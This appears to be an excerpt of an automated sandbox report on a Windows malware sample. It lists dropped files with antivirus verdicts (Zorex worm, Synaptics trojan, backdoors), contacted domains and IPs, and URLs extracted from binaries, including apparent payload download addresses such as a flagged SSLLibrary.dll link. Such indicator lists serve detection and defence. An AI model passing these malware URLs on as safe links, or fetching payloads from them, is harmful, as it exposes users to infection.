Source	Detection	Scanner	Label
C:\Users\user\Desktop\I4F64A1117\AA1F03F\J30B536C5\380BjggdZ.exe	100%	Avira	TR/Dldr.Agent.SH
C:\Users\user\Desktop\I4F64A1117\AA1F03F\J30B536C5\380BjggdZ.exe	100%	Avira	W2000M/Dldr.Agent.17651006
C:\Users\user\AppData\Local\Temp\RCX7023.tmp	100%	Avira	TR/Dldr.Agent.SH
C:\Users\user\AppData\Local\Temp\RCX7023.tmp	100%	Avira	W2000M/Dldr.Agent.17651006
C:\ProgramData\Synaptics\Synaptics.exe	100%	Avira	WORM/Delphi.Gen
C:\ProgramData\Synaptics\Synaptics.exe	100%	Avira	W2000M/Dldr.Agent.17651006
C:\ProgramData\Synaptics\RCXA074.tmp	100%	Avira	TR/Dldr.Agent.SH
C:\ProgramData\Synaptics\RCXA074.tmp	100%	Avira	W2000M/Dldr.Agent.17651006
C:\Users\user\Desktop\I4F64A1117\AA1F03F\C5AF4D95FFB\716omlgZ.dll	100%	Avira	TR/Inject.zdewt
C:\Users\user\Desktop\._cache_3.exe	100%	Avira	HEUR/AGEN.1315452
C:\Users\user\AppData\Local\Temp\RCX6C69.tmp	100%	Avira	TR/Dldr.Agent.SH
C:\Users\user\AppData\Local\Temp\RCX6C69.tmp	100%	Avira	W2000M/Dldr.Agent.17651006
C:\Users\user\AppData\Local\Temp\q67hQckB.exe	100%	Avira	TR/Dldr.Agent.SH
C:\Users\user\AppData\Local\Temp\q67hQckB.exe	100%	Avira	W2000M/Dldr.Agent.17651006
C:\Program Files (x86)\Google\C2485384.exe	100%	Joe Sandbox ML
C:\Users\user\Desktop\I4F64A1117\AA1F03F\J30B536C5\380BjggdZ.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\RCX7023.tmp	100%	Joe Sandbox ML
C:\Users\user\Desktop\I4F64A1117\AA1F03F\CA0D5C\1A5fZcdZ.dll	100%	Joe Sandbox ML
C:\ProgramData\Synaptics\Synaptics.exe	100%	Joe Sandbox ML
C:\ProgramData\Synaptics\RCXA074.tmp	100%	Joe Sandbox ML
C:\Users\user\Desktop\I4F64A1117\AA1F03F\C787EC\DB84ibYaX.dll	100%	Joe Sandbox ML
C:\Users\user\Desktop\I4F64A1117\AA1F03F\C5AF4D95FFB\716omlgZ.dll	100%	Joe Sandbox ML
C:\Users\user\Desktop\._cache_3.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\RCX6C69.tmp	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\q67hQckB.exe	100%	Joe Sandbox ML
C:\Users\user\Desktop\I4F64A1117\AA1F03F\CA0D5C\105775LGi.dll	100%	Joe Sandbox ML
C:\Program Files (x86)\Google\C2485384.exe	13%	ReversingLabs
C:\ProgramData\Synaptics\RCXA074.tmp	92%	ReversingLabs	Win32.Worm.Zorex
C:\ProgramData\Synaptics\Synaptics.exe	84%	ReversingLabs	Win32.Trojan.Synaptics
C:\Users\user\AppData\Local\Temp\RCX7023.tmp	92%	ReversingLabs	Win32.Worm.Zorex
C:\Users\user\AppData\Local\Temp\q67hQckB.exe	92%	ReversingLabs	Win32.Worm.Zorex
C:\Users\user\Desktop\._cache_3.exe	58%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\Desktop\I4F64A1117\AA1F03F\A39EAB56C\60B31urkm.dll	0%	ReversingLabs
C:\Users\user\Desktop\I4F64A1117\AA1F03F\A733D6\CE8ebUTU.dll	11%	ReversingLabs
C:\Users\user\Desktop\I4F64A1117\AA1F03F\A733D6\EA56ljmih.dll	11%	ReversingLabs
C:\Users\user\Desktop\I4F64A1117\AA1F03F\B895AC6\3724rlnjg.dll	0%	ReversingLabs
C:\Users\user\Desktop\I4F64A1117\AA1F03F\C5AF4D95FFB\716omlgZ.dll	61%	ReversingLabs	Win32.PUA.Presenoker
C:\Users\user\Desktop\I4F64A1117\AA1F03F\C787EC\DB84ibYaX.dll	61%	ReversingLabs	Win32.Trojan.Occamy
C:\Users\user\Desktop\I4F64A1117\AA1F03F\CA0D5C\105775LGi.dll	42%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\Desktop\I4F64A1117\AA1F03F\CA0D5C\1A5fZcdZ.dll	42%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\Desktop\I4F64A1117\AA1F03F\ED5E0B401A7\FB0C75zus.dll	5%	ReversingLabs
C:\Users\user\Desktop\I4F64A1117\AA1F03F\FEE303F91\E9A1EEE73.dll	7%	ReversingLabs
C:\Users\user\Desktop\I4F64A1117\AA1F03F\J30B536C5\380BjggdZ.exe	92%	ReversingLabs	Win32.Worm.Zorex
C:\Users\user\Desktop\I4F64A1117\BA459E441E\31884z1x0.dll	78%	ReversingLabs	Win32.Backdoor.Zapchast
C:\Users\user\Desktop\I4F64A1117\D47A8EF7C6\E9BEcVYUT.dll	0%	ReversingLabs
C:\Users\user\Desktop\I4F64A1117\DB1368E\64DSSSLL.dll	85%	ReversingLabs	Win32.Trojan.CredentialAccess
C:\Users\user\Desktop\I4F64A1117\DD0741\BEE1D5y1w.dll	78%	ReversingLabs	Win32.Backdoor.Zapchast
C:\Users\user\Desktop\I4F64A1117\I2DF4C05\2537POKDF.dll	54%	ReversingLabs	Win32.Trojan.Tnega
C:\Users\user\Desktop\I4F64A1117\IC58E279CB8\72F551y12.dll	0%	ReversingLabs
C:\Users\user\Desktop\I4F64A1117\J3E76662C\4858pmjcZ.dll	0%	ReversingLabs
C:\Users\user\Documents\CZQKSDDMWR\~$cache1	92%	ReversingLabs	Win32.Worm.Zorex
C:\Windows\SysWOW64\A0E0ohaVQ.sys	75%	ReversingLabs	Win64.Trojan.Convagent

Unpacked PE Files

⊘No Antivirus matches

Domains

Source	Detection	Scanner	Link
kl.webzf.top	0%	Virustotal	Browse
docs.google.com	0%	Virustotal	Browse
www.jmw.com.cn	0%	Virustotal	Browse
abc.vpzzz.com	1%	Virustotal	Browse
so.seos-lb.com	1%	Virustotal	Browse
multi-az-www-api.kuaishou.com	0%	Virustotal	Browse
lb.sinacloud.com	0%	Virustotal	Browse
www.wshifen.com	0%	Virustotal	Browse
qt0t6l4k.e0.sched.ovscdns.com	0%	Virustotal	Browse
ww1.sinaimg.cn.w.alikunlun.com	0%	Virustotal	Browse
opencdnka.jomodns.com	0%	Virustotal	Browse
bxjbqj09.e0.sched.ovscdns.com	0%	Virustotal	Browse
youdao.com	1%	Virustotal	Browse
www.sogou.com	1%	Virustotal	Browse
www.1688.com.danuoyi.tbcache.com	0%	Virustotal	Browse
drive.usercontent.google.com	1%	Virustotal	Browse
xjp-adns.aliyun.com.vipgds.alibabadns.com	0%	Virustotal	Browse
foodmate.net	0%	Virustotal	Browse
www.tencent.com.acc.edgeonedy1.com	0%	Virustotal	Browse
freedns.afraid.org	1%	Virustotal	Browse
www.qq.com.eo.dnse2.com	0%	Virustotal	Browse
sinacloud.net	5%	Virustotal	Browse
hao123.n.shifen.com	0%	Virustotal	Browse
dc3ee476.ovslegodl-dk.sched.ovscdns.com	0%	Virustotal	Browse
opencdnqczjv6.jomodns.com	0%	Virustotal	Browse
www.tencent.com	1%	Virustotal	Browse
xred.mooo.com	9%	Virustotal	Browse
www.zhihu.com	0%	Virustotal	Browse
s-part-0032.t-0009.t-msedge.net	0%	Virustotal	Browse
www.qq.com	1%	Virustotal	Browse
jd-abroad.cdn20.com	0%	Virustotal	Browse
www.douyin.com	0%	Virustotal	Browse
www.jb51.net	0%	Virustotal	Browse
www.baidu.com	1%	Virustotal	Browse
time.windows.com	0%	Virustotal	Browse
www.cctv.com	0%	Virustotal	Browse
www.so.com	0%	Virustotal	Browse

URLs

Source	Detection	Scanner	Label
https://dev.virtualearth.net/REST/v1/Locations	0%	URL Reputation	safe
https://www.dropbox.com/s/n1w4p8gc6jzo0sg/SUpdate.ini?dl=1	0%	Avira URL Cloud	safe
http://588ku.com/	0%	Avira URL Cloud	safe
https://docs.google.com/	0%	Avira URL Cloud	safe
http://sinacloud.net/operate/22745	0%	Avira URL Cloud	safe
http://www.yunzhijia.com/	0%	Avira URL Cloud	safe
http://www.mockplus.cn/	0%	Avira URL Cloud	safe
http://time-time-dbvpvdlnog.cn-chengdu.fcapp.run	0%	Avira URL Cloud	safe
http://standards.iso.org/iso/19770/-2/2009/schema.xsd	0%	Avira URL Cloud	safe
http://www.duote.com/	0%	Avira URL Cloud	safe
http://iwencai.com/	0%	Avira URL Cloud	safe
http://www.juming.com/	0%	Avira URL Cloud	safe
http://www.jianguoyun.com/	0%	Avira URL Cloud	safe
http://wulancabucs.oss-accelerate.aliyuncs.com/	0%	Avira URL Cloud	safe
http://www.winshang.com/	0%	Avira URL Cloud	safe
http://qingdaocs.oss-accelerate.aliyuncs.com/	0%	Avira URL Cloud	safe
http://ww1.3.36.3.3.2.8.1.1.14	0%	Avira URL Cloud	safe
http://www.sina.com.cn/	0%	Avira URL Cloud	safe
https://dev.virtualearth.net/REST/v1/Imagery/Copyright/	0%	Avira URL Cloud	safe
http://xred.site50.net/syn/SUpdate.ini	0%	Avira URL Cloud	safe
http://www.kuaishou.com/	0%	Avira URL Cloud	safe
http://www.qiniu.com/	0%	Avira URL Cloud	safe
http://www.ems.com.cn/	0%	Avira URL Cloud	safe
https://docs.google.com/8	0%	Avira URL Cloud	safe
http://www.pcauto.com.cn/	0%	Avira URL Cloud	safe
http://1066951243755853.cn-huhehaote.fc.aliyuncs.com/2016-08-15/proxy/time.LATEST/time/	0%	Avira URL Cloud	safe
http://w7000.com/	0%	Avira URL Cloud	safe
http://ww1.3.36.3.3.2.8.1.1.14brainpoolP512t1ECDHCryptOIDInfoECCParameters	0%	Avira URL Cloud	safe
http://foodmate.net/	0%	Avira URL Cloud	safe
http://soso.com/	0%	Avira URL Cloud	safe
http://www.douyin.com/	0%	Avira URL Cloud	safe
http://xianggangcs.oss-accelerate.aliyuncs.com/	0%	Avira URL Cloud	safe
http://www.kanzhun.com/	0%	Avira URL Cloud	safe
http://www.jb51.net/	0%	Avira URL Cloud	safe
http://www.ih5.cn/	0%	Avira URL Cloud	safe
http://huadongcs.oss-accelerate.aliyuncs.com/	0%	Avira URL Cloud	safe
http://www.ichuanglan.com/	0%	Avira URL Cloud	safe
http://www.hichina.com/	0%	Avira URL Cloud	safe
http://www.netease.com/	0%	Avira URL Cloud	safe
https://www.dropbox.com/s/fzj752whr3ontsm/SSLLibrary.dll?dl=1	0%	Avira URL Cloud	safe
http://www.sohu.com/	0%	Avira URL Cloud	safe
https://dynamic.t	0%	Avira URL Cloud	safe
http://www.solidot.org/	0%	Avira URL Cloud	safe
http://www.1688.com/	0%	Avira URL Cloud	safe
http://www.huawei.com/	0%	Avira URL Cloud	safe
http://www.youth.cn/	0%	Avira URL Cloud	safe
https://dev.virtualearth.net/REST/v1/Routes/Transit	0%	Avira URL Cloud	safe
http://xred.site50.net/syn/SSLLibrary.dll	100%	Avira URL Cloud	malware
https://dev.ditu.live.com/REST/v1/JsonFilter/VenueMaps/data/	0%	Avira URL Cloud	safe
https://dynamic.api.tiles.ditu.live.com/odvs/gd?pv=1&r=	0%	Avira URL Cloud	safe
http://119.29.29.29/d?dn=	0%	Avira URL Cloud	safe
http://www.xunlei.com/	0%	Avira URL Cloud	safe
http://www.yidianzixun.com/	0%	Avira URL Cloud	safe
http://www.imiker.com/	0%	Avira URL Cloud	safe
https://dev.virtualearth.net/REST/v1/Routes/Driving	0%	Avira URL Cloud	safe
http://shanghaics.oss-accelerate.aliyuncs.com/	0%	Avira URL Cloud	safe
http://www.bootcss.com/	0%	Avira URL Cloud	safe
http://www.jmw.com.cn/	0%	Avira URL Cloud	safe
http://www.xitongzhijia.net/	0%	Avira URL Cloud	safe
http://ca800.com/	0%	Avira URL Cloud	safe
http://xinics.oss-accelerate.aliyuncs.com/	0%	Avira URL Cloud	safe
http://www.ctrip.com/	0%	Avira URL Cloud	safe
http://www.jdwx.info/	0%	Avira URL Cloud	safe
http://www.7k7k.com/	0%	Avira URL Cloud	safe
http://www.i4.cn/	0%	Avira URL Cloud	safe
http://www.yiche.com/	0%	Avira URL Cloud	safe
http://kl.webzf.top	0%	Avira URL Cloud	safe
https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gri?pv=1&r=	0%	Avira URL Cloud	safe
http://www.ipo.hk/	0%	Avira URL Cloud	safe
http://xred.site50.net/syn/SSLLibrary.dl	0%	Avira URL Cloud	safe
http://xiaoman.cn/	0%	Avira URL Cloud	safe
http://lusongsong.com/	0%	Avira URL Cloud	safe
http://zhangjiakoucs.oss-accelerate.aliyuncs.com/	0%	Avira URL Cloud	safe
http://freedns.afraid.org/api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978t	0%	Avira URL Cloud	safe
http://time-time-bzyrqxranf.cn-shenzhen.fcapp.run	0%	Avira URL Cloud	safe
http://dcloud.net.cn/	0%	Avira URL Cloud	safe
http://www.chuangkit.com/	0%	Avira URL Cloud	safe
https://www.dropbox.com/s/fzj752whr3ontsm/SSLLibrary.dll?dl=	0%	Avira URL Cloud	safe
https://ecn.dev.virtualearth.net/REST/v1/Imagery/Copyright/	0%	Avira URL Cloud	safe
http://www.iqiyi.com/	0%	Avira URL Cloud	safe
https://dev.ditu.live.com/REST/v1/Transit/Stops/	0%	Avira URL Cloud	safe
http://www.west.cn/	0%	Avira URL Cloud	safe
http://tower.im/	0%	Avira URL Cloud	safe
http://www.miguvideo.com/	0%	Avira URL Cloud	safe
https://dev.virtualearth.net/webservices/v1/LoggingService/LoggingService.svc/Log?	0%	Avira URL Cloud	safe
https://drive.usercontent.google.com/	0%	Avira URL Cloud	safe
http://www.hudong.com/	0%	Avira URL Cloud	safe
https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gdi?pv=1&r=	0%	Avira URL Cloud	safe
http://sinacloud.net/operate/24624	0%	Avira URL Cloud	safe
http://www.ip138.com/	0%	Avira URL Cloud	safe
http://huanancs.oss-accelerate.aliyuncs.com/	0%	Avira URL Cloud	safe
http://182.254.116.116/d?dn=	0%	Avira URL Cloud	safe
http://www.9game.cn/	0%	Avira URL Cloud	safe
https://dynamic.api.tiles.ditu.live.com/odvs/gdi?pv=1&r=	0%	Avira URL Cloud	safe
http://115.com/	0%	Avira URL Cloud	safe
http://www.so.com/	0%	Avira URL Cloud	safe
https://docs.google.com/uc?id=0;	0%	Avira URL Cloud	safe
http://abc.vpzzz.com/kss_api/io.php?a=uplog&apiver=905&c=0&gdata=1&softcode=1000001&&lgid=0&f=&x=781315036953	0%	Avira URL Cloud	safe
http://www.autohome.com.cn/	0%	Avira URL Cloud	safe
http://www.kafan.cn/	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
kl.webzf.top	43.154.222.70	true	false	0%, Virustotal, Browse	unknown
docs.google.com	142.250.185.174	true	false	0%, Virustotal, Browse	unknown
www.douyin.com.queniuyk.com	163.181.130.191	true	false		unknown
www.jmw.com.cn	47.94.225.221	true	false	0%, Virustotal, Browse	unknown
abc.vpzzz.com	81.70.163.227	true	false	1%, Virustotal, Browse	unknown
so.seos-lb.com	104.192.110.226	true	false	1%, Virustotal, Browse	unknown
multi-az-www-api.kuaishou.com	103.107.217.26	true	false	0%, Virustotal, Browse	unknown
eu-central-1-ds-2088.oss-acc.aliyuncs.com	47.254.187.186	true	false		unknown
g8450a5.usallient81.jiasula.vip	45.194.34.247	true	false		unknown
qt0t6l4k.e0.sched.ovscdns.com	43.159.71.118	true	false	0%, Virustotal, Browse	unknown
youdao.com	111.124.200.101	true	false	1%, Virustotal, Browse	unknown
www.wshifen.com	103.235.46.96	true	false	0%, Virustotal, Browse	unknown
lb.sinacloud.com	123.125.23.91	true	false	0%, Virustotal, Browse	unknown
www.cctv.com.wsglb0.com	163.171.208.133	true	false		unknown
www.sogou.com	119.28.109.132	true	false	1%, Virustotal, Browse	unknown
sh2.general.proxy.sogou.com	49.51.65.181	true	false		unknown
ww1.sinaimg.cn.w.alikunlun.com	163.181.201.237	true	false	0%, Virustotal, Browse	unknown
opencdnka.jomodns.com	113.219.142.35	true	false	0%, Virustotal, Browse	unknown
bxjbqj09.e0.sched.ovscdns.com	43.152.29.38	true	false	0%, Virustotal, Browse	unknown
www.1688.com.danuoyi.tbcache.com	163.181.130.181	true	false	0%, Virustotal, Browse	unknown
freedns.afraid.org	69.42.215.252	true	true	1%, Virustotal, Browse	unknown
www.tencent.com.acc.edgeonedy1.com	43.159.119.252	true	false	0%, Virustotal, Browse	unknown
sinacloud.net	27.221.16.149	true	false	5%, Virustotal, Browse	unknown
drive.usercontent.google.com	142.250.185.65	true	false	1%, Virustotal, Browse	unknown
foodmate.net	120.26.110.170	true	false	0%, Virustotal, Browse	unknown
www.eastmoney.com.w.cdngslb.com	47.246.46.227	true	false		unknown
xjp-adns.aliyun.com.vipgds.alibabadns.com	47.88.251.189	true	false	0%, Virustotal, Browse	unknown
ap-southeast-1-ds-2088.oss-acc.aliyuncs.com	161.117.242.92	true	false		unknown
www.qq.com.eo.dnse2.com	43.132.73.61	true	false	0%, Virustotal, Browse	unknown
hao123.n.shifen.com	103.235.46.98	true	false	0%, Virustotal, Browse	unknown
opencdnqczjv6.jomodns.com	221.204.61.35	true	false	0%, Virustotal, Browse	unknown
ap-southeast-1-ds-2089.oss-acc.aliyuncs.com	161.117.242.93	true	false		unknown
eu-central-1-ds-2089.oss-acc.aliyuncs.com	47.254.187.187	true	false		unknown
dc3ee476.ovslegodl-dk.sched.ovscdns.com	43.152.143.134	true	false	0%, Virustotal, Browse	unknown
s-part-0032.t-0009.t-msedge.net	13.107.246.60	true	false	0%, Virustotal, Browse	unknown
jd-abroad.cdn20.com	163.171.132.119	true	false	0%, Virustotal, Browse	unknown
www.tencent.com	unknown	unknown	true	1%, Virustotal, Browse	unknown
www.zhihu.com	unknown	unknown	true	0%, Virustotal, Browse	unknown
xred.mooo.com	unknown	unknown	true	9%, Virustotal, Browse	unknown
www.qq.com	unknown	unknown	true	1%, Virustotal, Browse	unknown
time.windows.com	unknown	unknown	true	0%, Virustotal, Browse	unknown
www.douyin.com	unknown	unknown	true	0%, Virustotal, Browse	unknown
www.so.com	unknown	unknown	true	0%, Virustotal, Browse	unknown
www.baidu.com	unknown	unknown	true	1%, Virustotal, Browse	unknown
www.jb51.net	unknown	unknown	true	0%, Virustotal, Browse	unknown
www.1688.com	unknown	unknown	true		unknown
www.cctv.com	unknown	unknown	true	0%, Virustotal, Browse	unknown
guangzhoucs.oss-accelerate.aliyuncs.com	unknown	unknown	true		unknown
soso.com	unknown	unknown	true		unknown
www.aliyun.com	unknown	unknown	true		unknown
qingdaocs.oss-accelerate.aliyuncs.com	unknown	unknown	true		unknown
www.kuaishou.com	unknown	unknown	true		unknown
www.autohome.com.cn	unknown	unknown	true		unknown
www.cdstm.cn	unknown	unknown	true		unknown
www.jd.com	unknown	unknown	true		unknown
www.eastmoney.com	unknown	unknown	true		unknown
www.iqiyi.com	unknown	unknown	true		unknown
www.hupu.com	unknown	unknown	true		unknown
www.sina.com.cn	unknown	unknown	true		unknown
www.hao123.com	unknown	unknown	true		unknown
www.sinacloud.com	unknown	unknown	true		unknown
www.sohu.com	unknown	unknown	true		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://sinacloud.net/operate/22745	true	Avira URL Cloud: safe	unknown
http://www.sina.com.cn/	false	Avira URL Cloud: safe	unknown
http://www.kuaishou.com/	false	Avira URL Cloud: safe	unknown
http://www.douyin.com/	false	Avira URL Cloud: safe	unknown
http://soso.com/	false	Avira URL Cloud: safe	unknown
http://foodmate.net/	false	Avira URL Cloud: safe	unknown
http://www.jb51.net/	false	Avira URL Cloud: safe	unknown
http://www.sohu.com/	false	Avira URL Cloud: safe	unknown
http://www.1688.com/	false	Avira URL Cloud: safe	unknown
http://www.jmw.com.cn/	false	Avira URL Cloud: safe	unknown
http://sinacloud.net/operate/24624	true	Avira URL Cloud: safe	unknown
http://www.autohome.com.cn/	false	Avira URL Cloud: safe	unknown
http://www.so.com/	false	Avira URL Cloud: safe	unknown
http://abc.vpzzz.com/kss_api/io.php?a=uplog&apiver=905&c=0&gdata=1&softcode=1000001&&lgid=0&f=&x=781315036953	false	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://www.mockplus.cn/	._cache_3.exe, 00000005.00000002.1354872204.00000000005A5000.00000002.00000001.01000000.00000005.sdmp, C2485384.exe, 00000011.00000002.3960354144.000000006256A000.00000002.00000001.01000000.00000017.sdmp, C2485384.exe, 00000011.00000002.3711561876.0000000000495000.00000002.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.duote.com/	._cache_3.exe, 00000005.00000002.1354872204.00000000005A5000.00000002.00000001.01000000.00000005.sdmp, C2485384.exe, 00000011.00000002.3960354144.000000006256A000.00000002.00000001.01000000.00000017.sdmp, C2485384.exe, 00000011.00000002.3711561876.0000000000495000.00000002.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.dropbox.com/s/n1w4p8gc6jzo0sg/SUpdate.ini?dl=1	3.exe, 00000000.00000000.1253675278.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Synaptics.exe, 0000000C.00000003.1399289414.000000000053E000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000003.1518200362.0000000007585000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000002.1846828053.0000000002130000.00000004.00001000.00020000.00000000.sdmp, 380BjggdZ.exe.17.dr, ~$cache1.12.dr	false	Avira URL Cloud: safe	unknown
http://588ku.com/	._cache_3.exe, 00000005.00000002.1354872204.00000000005A5000.00000002.00000001.01000000.00000005.sdmp, C2485384.exe, 00000011.00000002.3960354144.000000006256A000.00000002.00000001.01000000.00000017.sdmp, C2485384.exe, 00000011.00000002.3711561876.0000000000495000.00000002.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://time-time-dbvpvdlnog.cn-chengdu.fcapp.run	._cache_3.exe, 00000005.00000002.1354872204.00000000005A5000.00000002.00000001.01000000.00000005.sdmp, C2485384.exe, 00000011.00000002.3960354144.000000006256A000.00000002.00000001.01000000.00000017.sdmp, C2485384.exe, 00000011.00000002.3711561876.0000000000495000.00000002.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://standards.iso.org/iso/19770/-2/2009/schema.xsd	svchost.exe, 00000008.00000002.3710480607.000002C118887000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://docs.google.com/	Synaptics.exe, 0000000C.00000003.1519925771.00000000005C0000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000002.1925524560.000000000F8EB000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000002.1824235333.0000000000574000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000002.1886245556.00000000075CD000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000003.1461731281.000000000056C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.yunzhijia.com/	._cache_3.exe, 00000005.00000002.1354872204.00000000005A5000.00000002.00000001.01000000.00000005.sdmp, C2485384.exe, 00000011.00000002.3960354144.000000006256A000.00000002.00000001.01000000.00000017.sdmp, C2485384.exe, 00000011.00000002.3711561876.0000000000495000.00000002.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://iwencai.com/	._cache_3.exe, 00000005.00000002.1354872204.00000000005A5000.00000002.00000001.01000000.00000005.sdmp, C2485384.exe, 00000011.00000002.3960354144.000000006256A000.00000002.00000001.01000000.00000017.sdmp, C2485384.exe, 00000011.00000002.3711561876.0000000000495000.00000002.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.juming.com/	._cache_3.exe, 00000005.00000002.1354872204.00000000005A5000.00000002.00000001.01000000.00000005.sdmp, C2485384.exe, 00000011.00000002.3960354144.000000006256A000.00000002.00000001.01000000.00000017.sdmp, C2485384.exe, 00000011.00000002.3711561876.0000000000495000.00000002.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://wulancabucs.oss-accelerate.aliyuncs.com/	._cache_3.exe, 00000005.00000002.1354872204.00000000005A5000.00000002.00000001.01000000.00000005.sdmp, C2485384.exe, 00000011.00000002.3960354144.000000006256A000.00000002.00000001.01000000.00000017.sdmp, C2485384.exe, 00000011.00000002.3711561876.0000000000495000.00000002.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.jianguoyun.com/	._cache_3.exe, 00000005.00000002.1354872204.00000000005A5000.00000002.00000001.01000000.00000005.sdmp, C2485384.exe, 00000011.00000002.3960354144.000000006256A000.00000002.00000001.01000000.00000017.sdmp, C2485384.exe, 00000011.00000002.3711561876.0000000000495000.00000002.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://xred.site50.net/syn/SUpdate.ini	3.exe, 00000000.00000000.1253675278.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Synaptics.exe, 0000000C.00000003.1399289414.000000000053E000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000003.1518200362.0000000007585000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000002.1846828053.0000000002130000.00000004.00001000.00020000.00000000.sdmp, 380BjggdZ.exe.17.dr, ~$cache1.12.dr	false	Avira URL Cloud: safe	unknown
http://qingdaocs.oss-accelerate.aliyuncs.com/	._cache_3.exe, 00000005.00000002.1354872204.00000000005A5000.00000002.00000001.01000000.00000005.sdmp, C2485384.exe, 00000011.00000002.3960354144.000000006256A000.00000002.00000001.01000000.00000017.sdmp, C2485384.exe, 00000011.00000002.3711561876.0000000000495000.00000002.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://ww1.3.36.3.3.2.8.1.1.14	svchost.exe, 00000008.00000002.3712659922.000002C119132000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.winshang.com/	._cache_3.exe, 00000005.00000002.1354872204.00000000005A5000.00000002.00000001.01000000.00000005.sdmp, C2485384.exe, 00000011.00000002.3960354144.000000006256A000.00000002.00000001.01000000.00000017.sdmp, C2485384.exe, 00000011.00000002.3711561876.0000000000495000.00000002.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://dev.virtualearth.net/REST/v1/Imagery/Copyright/	svchost.exe, 00000002.00000002.1397917213.00000220A3857000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.1390903552.00000220A3866000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.1390378731.00000220A3862000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.1397554660.00000220A3825000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.qiniu.com/	._cache_3.exe, 00000005.00000002.1354872204.00000000005A5000.00000002.00000001.01000000.00000005.sdmp, C2485384.exe, 00000011.00000002.3960354144.000000006256A000.00000002.00000001.01000000.00000017.sdmp, C2485384.exe, 00000011.00000002.3711561876.0000000000495000.00000002.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.ems.com.cn/	._cache_3.exe, 00000005.00000002.1354872204.00000000005A5000.00000002.00000001.01000000.00000005.sdmp, C2485384.exe, 00000011.00000002.3960354144.000000006256A000.00000002.00000001.01000000.00000017.sdmp, C2485384.exe, 00000011.00000002.3711561876.0000000000495000.00000002.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.pcauto.com.cn/	._cache_3.exe, 00000005.00000002.1354872204.00000000005A5000.00000002.00000001.01000000.00000005.sdmp, C2485384.exe, 00000011.00000002.3960354144.000000006256A000.00000002.00000001.01000000.00000017.sdmp, C2485384.exe, 00000011.00000002.3711561876.0000000000495000.00000002.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://docs.google.com/8	Synaptics.exe, 0000000C.00000003.1519925771.00000000005C0000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000002.1886245556.00000000075CD000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://ww1.3.36.3.3.2.8.1.1.14brainpoolP512t1ECDHCryptOIDInfoECCParameters	svchost.exe, 00000008.00000002.3712659922.000002C119132000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://w7000.com/	._cache_3.exe, 00000005.00000002.1354872204.00000000005A5000.00000002.00000001.01000000.00000005.sdmp, C2485384.exe, 00000011.00000002.3960354144.000000006256A000.00000002.00000001.01000000.00000017.sdmp, C2485384.exe, 00000011.00000002.3711561876.0000000000495000.00000002.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://1066951243755853.cn-huhehaote.fc.aliyuncs.com/2016-08-15/proxy/time.LATEST/time/	._cache_3.exe, 00000005.00000002.1354872204.00000000005A5000.00000002.00000001.01000000.00000005.sdmp, C2485384.exe, 00000011.00000002.3960354144.000000006256A000.00000002.00000001.01000000.00000017.sdmp, C2485384.exe, 00000011.00000002.3711561876.0000000000495000.00000002.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
